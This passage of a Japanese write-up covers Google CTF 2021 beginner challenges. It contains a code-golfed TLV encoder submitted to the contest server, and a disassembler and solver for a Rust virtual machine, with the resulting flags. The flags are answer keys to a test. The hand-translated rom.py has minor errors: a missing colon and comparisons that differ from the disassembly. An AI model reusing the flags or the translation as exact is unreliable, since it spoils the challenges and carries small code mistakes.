  block0 = read_tlv_block(input_data_as_byte_stream, 0)
  block1 = read_tlv_block(input_data_as_byte_stream, len(block0[1]) + 8)
  block2 = read_tlv_block(input_data_as_byte_stream, len(block0[1]) + len(block1[1]) + 16)

  if block0 is None:
    raise Exception("TLV block 0 corrupted!")

  if block1 is None:
    raise Exception("TLV block 1 corrupted!")

  if block2 is None:
    raise Exception("TLV block 2 corrupted!")

  if block0[0] != "BEGN":
    raise Exception("BEGN block not found!")

  if str(block0[1], "utf-8") != "abcdefghijklmnopqrstuvwxyz":
    raise Exception("BEGN block has wrong data")

  if block2[0] != "END.":
    raise Exception("END. block not found!")

  if str(block2[1], "utf-8") != "ABCDEFGHIJKLMNOPQRSTUVWXYZ":
    raise Exception("END. block has wrong data")

  if block1[0] != "DATA":
    raise Exception("DATA block not found!")

  return block1[1]

def step2_decrypt_data(data_to_decrypt):
  output = []
  for i in range(len(data_to_decrypt)):
    byte_to_decrypt = data_to_decrypt[i]
    key_number = NUMBERS[i]
    output.append(byte_to_decrypt ^ (key_number & 0xff))

  return bytes(bytearray(output))

def decode(input_data_as_byte_stream):
  decrypted_data = step2_decrypt_data(input_data_as_byte_stream)
  data = step1_decode_tlv(decrypted_data)
  return data

encoder.pyをゴルフする。235バイト以下になればOK。

素数はテーブル埋込みではなく計算
bytes("abc...xyz")はbytes(range(97,123))
頻出の関数は1文字変数に代入
削れる改行は削る
- Pythonなので改行したらインデントもいれないといけない

くらいか。

encoder.py

r=range
b=bytes
P=[]
for i in r(2,9999):
 if all(i%p for p in P):P+=[i]
def m(t,d):return t+len(d).to_bytes(4,"big")+d
def encode(s):d=m(b"BEGN",b(r(97,123)))+m(b"DATA",s)+m(b"END.",b(r(65,91)));return b(a^b&255 for a,b in zip(d,P))

232バイト。

$ nc playing-golf.2021.ctfcompetition.com 1337
== proof-of-work: disabled ==
Please send your code followed by a line containing only #END
- We will rstrip the lines for you btw.
- Time limit is 5 seconds.
r=range
b=bytes
P=[]
for i in r(2,9999):
 if all(i%p for p in P):P+=[i]
def m(t,d):return t+len(d).to_bytes(4,"big")+d
def encode(s):d=m(b"BEGN",b(r(97,123)))+m(b"DATA",s)+m(b"END.",b(r(65,91)));return b(a^b&255 for a,b in zip(d,P))
#END
Testing your code (length 232)...
[I][2021-09-03T15:35:09+0000] Mode: STANDALONE_ONCE
 :
[I][2021-09-03T15:35:09+0000] Executing '/usr/bin/python3' for '[STANDALONE MODE]'
Running encode() on all tests...
Saving results...
[I][2021-09-03T15:35:09+0000] pid=3 ([STANDALONE MODE]) exited with status: 0, (PIDs left: 0)
Verifying tests...
All tests passed!
CTF{EncodingSuccessfulIntelReceivedCorrectly}

CTF{EncodingSuccessfulIntelReceivedCorrectly}

18: Strange Virtual Machine (reversing)

Rustで実装されたVM。

vm-cli>cargo build --release
   Compiling vm v0.1.0 (C:\documents\ctf\googlectf2021b\18\vm)
   Compiling vm-cli v0.1.0 (C:\documents\ctf\googlectf2021b\18\vm-cli)
    Finished release [optimized] target(s) in 0.67s

>vm-cli\target\release\vm-cli.exe vm.rom
CTF{ThisIsAVeryLongFlagA^C

実行が終わらない。まあ、これで解けるわけはない。

逆アセンブラを書いて逆アセンブル。

decompile.py

f = open("vm.rom", "rb")
while True:
  print("%4x: "%f.tell(), end="")
  op = f.read(1)
  if op==b"":
    break
  op = op[0]
  if op==0:
    print("nop")
  elif op==1:
    reg = f.read(1)[0]
    v = int.from_bytes(f.read(4), "little")
    print("r%02x = %x"%(reg, v))
  elif op==2:
    reg1 = f.read(1)[0]
    reg2 = f.read(1)[0]
    print("r%02x = r%02x"%(reg1, reg2))
  elif op==3:
    rego = f.read(1)[0]
    reg1 = f.read(1)[0]
    op = f.read(1)[0]
    reg2 = f.read(1)[0]
    print("r%02x = r%02x %s r%02x"%(rego, reg1, "   +-*/"[op], reg2))
  elif op==4:
    reg = f.read(1)[0]
    print("push r%02x"%reg)
  elif op==5:
    reg = f.read(1)[0]
    print("pop r%02x"%reg)
  elif op==8:
    print("poppc")
  elif op==9:
    reg1 = f.read(1)[0]
    op = f.read(1)[0]
    reg2 = f.read(1)[0]
    print("test r%02x %s r%02x"%(reg1, ["<", "<="][op], reg2))
  elif op==10:
    v = int.from_bytes(f.read(4), "little")
    print("jumpcond 0x%x"%v)
  elif op==11:
    v = int.from_bytes(f.read(4), "little")
    print("call 0x%x"%v)
  elif op==0xfc:
    print("strlen")
  elif op==0xfd:
    print("charat")
  elif op==0xfe:
    print("print")
  elif op==0xff:
    print("exit")
  else:
    break

rom.txt

   0: r69 = 0
   6: r01 = r69
   9: call 0xbc
   e: exit
   f: poppc
  10: push r47
  12: r47 = r01
  15: r69 = 0
  1b: test r47 <= r69
  1f: jumpcond 0x30
  24: r69 = 0
  2a: r00 = r69
  2d: pop r47
  2f: poppc
  30: r69 = 100
  36: test r47 < r69
  3a: jumpcond 0x45
  3f: r00 = r47
  42: pop r47
  44: poppc
  45: r69 = 100
  4b: r69 = r47 - r69
  50: r01 = r69
  53: call 0x10
  58: pop r47
  5a: poppc
  5b: pop r47
  5d: poppc
  5e: push r47
  60: r47 = r01
  63: r69 = 2
  69: test r47 <= r69
  6d: jumpcond 0x7e
  72: r69 = 1
  78: r00 = r69
  7b: pop r47
  7d: poppc
  7e: r69 = 1
  84: r69 = r47 - r69
  89: r01 = r69
  8c: call 0x5e
  91: r78 = r00
  94: push r78
  96: r69 = 2
  9c: r69 = r47 - r69
  a1: r01 = r69
  a4: call 0x5e
  a9: pop r78
  ab: r79 = r00
  ae: r69 = r78 + r79
  b3: r00 = r69
  b6: pop r47
  b8: poppc
  b9: pop r47
  bb: poppc
  bc: push r47
  be: r47 = r01
  c1: r01 = r42
  c4: strlen
  c5: test r47 < r00
  c9: jumpcond 0x12f
  ce: r01 = r42
  d1: r02 = r47
  d4: charat
  d5: r48 = r00
  d8: push r48
  da: push r48
  dc: r69 = 1
  e2: r69 = r47 + r69
  e7: r01 = r69
  ea: call 0x5e
  ef: pop r48
  f1: r69 = r47 + r00
  f6: r69 = r48 + r69
  fb: r01 = r69
  fe: call 0x10
 103: pop r48
 105: r48 = r00
 108: push r48
 10a: push r48
 10c: r01 = r48
 10f: print
 110: pop r48
 112: pop r48
 114: push r48
 116: push r48
 118: r69 = 1
 11e: r69 = r47 + r69
 123: r01 = r69
 126: call 0xbc
 12b: pop r48
 12d: pop r48
 12f: pop r47
 131: poppc
 132:

文字コードっぽい番号のレジスタは文字に置き換えると読みやすい。関数とループで区切ってこんな感じ。

rom2.txt

   0: i = 0
   6: r01 = i
   9: call 0xbc
   e: exit
   f: ret


  10: push G
  12: G = r01
  15: i = 0
  1b: test G <= i
  1f: jumpcond 0x30

  24: i = 0
  2a: r00 = i
  2d: pop G
  2f: ret

  30: i = 100
  36: test G < i
  3a: jumpcond 0x45

  3f: r00 = G
  42: pop G
  44: ret

  45: i = 100
  4b: i = G - i
  50: r01 = i
  53: call 0x10
  58: pop G
  5a: ret
  5b: pop G
  5d: ret


  5e: push G
  60: G = r01
  63: i = 2
  69: test G <= i
  6d: jumpcond 0x7e
  72: i = 1
  78: r00 = i
  7b: pop G
  7d: ret
  7e: i = 1
  84: i = G - i
  89: r01 = i
  8c: call 0x5e
  91: x = r00
  94: push x
  96: i = 2
  9c: i = G - i
  a1: r01 = i
  a4: call 0x5e
  a9: pop x
  ab: y = r00
  ae: i = x + y
  b3: r00 = i
  b6: pop G
  b8: ret
  b9: pop G
  bb: ret


  bc: push G
  be: G = r01
  c1: r01 = B
  c4: strlen
  c5: test G < r00
  c9: jumpcond 0x12f


  ce: r01 = B
  d1: r02 = G
  d4: charat
  d5: H = r00
  d8: push H
  da: push H
  dc: i = 1
  e2: i = G + i
  e7: r01 = i
  ea: call 0x5e
  ef: pop H
  f1: i = G + r00
  f6: i = H + i
  fb: r01 = i
  fe: call 0x10
 103: pop H
 105: H = r00
 108: push H
 10a: push H
 10c: r01 = H
 10f: print
 110: pop H
 112: pop H
 114: push H
 116: push H
 118: i = 1
 11e: i = G + i
 123: r01 = i
 126: call 0xbc
 12b: pop H
 12d: pop H

 12f: pop G
 131: ret

r00は戻り値、r01は引数として使っていることに気をつけて、Pythonに直すとこう。

rom.py

f_bc(0)
exit(0)

def f_10(G):
  if G<0:
    return 0
  if G<=100
    return G
  return f_10(G-100)

def f_5e(G):
  if G<2:
    return 1
  x = f_5e(G-1)
  y = f_5e(G-2)
  return x+y

def f_bc(G):
  if G<strlen(INPUT):
    H = INPUT[G]
    H = f_10(G+H+f_5e(G+1))
    print(char(H))
    f_bc(G+1)

再帰呼び出しでフィボナッチ数を計算している。そりゃ終わらない。

solve.py

INPUT = [
    66, 82, 66, 117, 75, 91, 86, 87, 31, 51, 222, 187, 112, 236, 9, 98, 34, 69, 0, 198, 150, 29,
    96, 10, 69, 26, 253, 225, 164, 8, 110, 67, 102, 108, 103, 162, 209, 1, 173, 130, 186, 5, 123,
    109, 187, 215, 86, 232, 23, 215, 184, 79, 171, 232, 128, 67, 138, 153, 251, 92, 4, 94, 93,
]

F = [0]*len(INPUT)
F[0] = F[1] = 1
for i in range(2, len(F)):
  F[i] = F[i-1]+F[i-2]

print("".join(chr((INPUT[i]+F[i]+i)%256) for i in range(len(INPUT))))

CTF{ThisIsAVeryLongFlagAndYouMightRunOutOfJuiceWhileDecodingIt}

ルート

問題を解くごとに1個か2個の次の問題が解放される。最後の18番目の問題を解けばクリア。次の問題を解くと、表示されていたルートが消えるので、結局どういう道順を辿るのか分からない。図示してみたらこんな感じ。

世界を飛び回ってぐちゃぐちゃ。こりゃ全部は表示できないか。

ほどくとこうなる。わりと素直な感じだった。